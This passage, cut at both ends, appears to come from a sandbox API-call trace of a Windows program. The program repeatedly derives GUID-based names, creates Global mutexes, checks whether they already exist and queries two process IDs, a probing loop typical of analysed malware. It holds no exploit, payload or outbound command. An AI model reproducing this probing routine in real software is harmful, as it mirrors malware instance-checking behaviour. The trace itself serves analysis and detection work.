[7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.757] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0130.758] GetLastError () returned 0xb7 [0130.758] CloseHandle (hObject=0x6cc) returned 1 [0130.758] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.758] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0130.758] GetLastError () returned 0xb7 [0130.758] CloseHandle (hObject=0x6cc) returned 1 [0130.759] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.759] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0130.759] GetLastError () returned 0x0 [0130.759] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.759] CloseHandle (hObject=0x6cc) returned 1 [0130.759] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.759] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0130.759] GetLastError () returned 0x0 [0130.759] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.759] CloseHandle (hObject=0x6cc) returned 1 [0130.759] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.759] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0130.759] GetLastError () returned 0xb7 [0130.759] CloseHandle (hObject=0x6cc) returned 1 [0130.767] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.767] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0130.767] GetLastError () returned 0xb7 [0130.767] CloseHandle (hObject=0x6cc) returned 1 [0130.899] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0130.899] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x568 [0130.899] GetLastError () returned 0xb7 [0130.899] CloseHandle (hObject=0x568) returned 1 [0130.899] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0130.899] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x568 [0130.899] GetLastError () returned 0xb7 [0130.899] CloseHandle (hObject=0x568) returned 1 [0130.900] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0130.900] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x568 [0130.900] GetLastError () returned 0x0 [0130.900] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0130.900] CloseHandle (hObject=0x568) returned 1 [0130.900] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0130.900] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x568 [0130.900] GetLastError () returned 0x0 [0130.901] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0130.901] CloseHandle (hObject=0x568) returned 1 [0130.901] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0130.901] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x568 [0130.901] GetLastError () returned 0xb7 [0130.901] CloseHandle (hObject=0x568) returned 1 [0130.908] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0130.909] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x568 [0130.909] GetLastError () returned 0xb7 [0130.909] CloseHandle (hObject=0x568) returned 1 [0131.022] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.022] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0131.022] GetLastError () returned 0xb7 [0131.022] CloseHandle (hObject=0x6cc) returned 1 [0131.023] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.023] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0131.023] GetLastError () returned 0xb7 [0131.023] CloseHandle (hObject=0x6cc) returned 1 [0131.023] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.023] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0131.023] GetLastError () returned 0x0 [0131.023] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.023] CloseHandle (hObject=0x6cc) returned 1 [0131.024] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.024] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0131.024] GetLastError () returned 0x0 [0131.024] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.024] CloseHandle (hObject=0x6cc) returned 1 [0131.024] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.024] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0131.024] GetLastError () returned 0xb7 [0131.024] CloseHandle (hObject=0x6cc) returned 1 [0131.031] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.031] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0131.031] GetLastError () returned 0xb7 [0131.031] CloseHandle (hObject=0x6cc) returned 1 [0131.147] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.147] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0131.147] GetLastError () returned 0xb7 [0131.147] CloseHandle (hObject=0x6cc) returned 1 [0131.147] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.147] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0131.147] GetLastError () returned 0xb7 [0131.147] CloseHandle (hObject=0x6cc) returned 1 [0131.148] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.148] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0131.148] GetLastError () returned 0x0 [0131.148] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.148] CloseHandle (hObject=0x6cc) returned 1 [0131.148] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.148] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0131.149] GetLastError () returned 0x0 [0131.149] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.149] CloseHandle (hObject=0x6cc) returned 1 [0131.149] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.149] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0131.149] GetLastError () returned 0xb7 [0131.149] CloseHandle (hObject=0x6cc) returned 1 [0131.156] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.156] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0131.156] GetLastError () returned 0xb7 [0131.156] CloseHandle (hObject=0x6cc) returned 1 [0131.256] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.256] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0131.256] GetLastError () returned 0xb7 [0131.256] CloseHandle (hObject=0x6cc) returned 1 [0131.256] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.256] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0131.256] GetLastError () returned 0xb7 [0131.256] CloseHandle (hObject=0x6cc) returned 1 [0131.257] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.257] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0131.257] GetLastError () returned 0x0 [0131.257] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.257] CloseHandle (hObject=0x6cc) returned 1 [0131.258] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.258] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0131.258] GetLastError () returned 0x0 [0131.258] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.258] CloseHandle (hObject=0x6cc) returned 1 [0131.258] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.258] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0131.258] GetLastError () returned 0xb7 [0131.258] CloseHandle (hObject=0x6cc) returned 1 [0131.265] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.265] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0131.265] GetLastError () returned 0xb7 [0131.265] CloseHandle (hObject=0x6cc) returned 1 [0131.365] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.366] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0131.366] GetLastError () returned 0xb7 [0131.366] CloseHandle (hObject=0x56c) returned 1 [0131.366] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.366] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0131.366] GetLastError () returned 0xb7 [0131.366] CloseHandle (hObject=0x56c) returned 1 [0131.367] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.367] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0131.367] GetLastError () returned 0x0 [0131.367] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.367] CloseHandle (hObject=0x56c) returned 1 [0131.367] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.367] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0131.367] GetLastError () returned 0x0 [0131.367] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.367] CloseHandle (hObject=0x56c) returned 1 [0131.368] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.368] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0131.368] GetLastError () returned 0xb7 [0131.368] CloseHandle (hObject=0x56c) returned 1 [0131.375] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.375] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0131.375] GetLastError () returned 0xb7 [0131.375] CloseHandle (hObject=0x56c) returned 1 [0131.490] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.490] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0131.490] GetLastError () returned 0xb7 [0131.490] CloseHandle (hObject=0x56c) returned 1 [0131.491] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.491] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0131.491] GetLastError () returned 0xb7 [0131.491] CloseHandle (hObject=0x56c) returned 1 [0131.491] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.491] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0131.491] GetLastError () returned 0x0 [0131.491] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.491] CloseHandle (hObject=0x56c) returned 1 [0131.492] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.492] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0131.492] GetLastError () returned 0x0 [0131.492] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.492] CloseHandle (hObject=0x56c) returned 1 [0131.492] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.492] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0131.492] GetLastError () returned 0xb7 [0131.492] CloseHandle (hObject=0x56c) returned 1 [0131.499] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.499] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0131.499] GetLastError () returned 0xb7 [0131.499] CloseHandle (hObject=0x56c) returned 1 [0131.599] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, 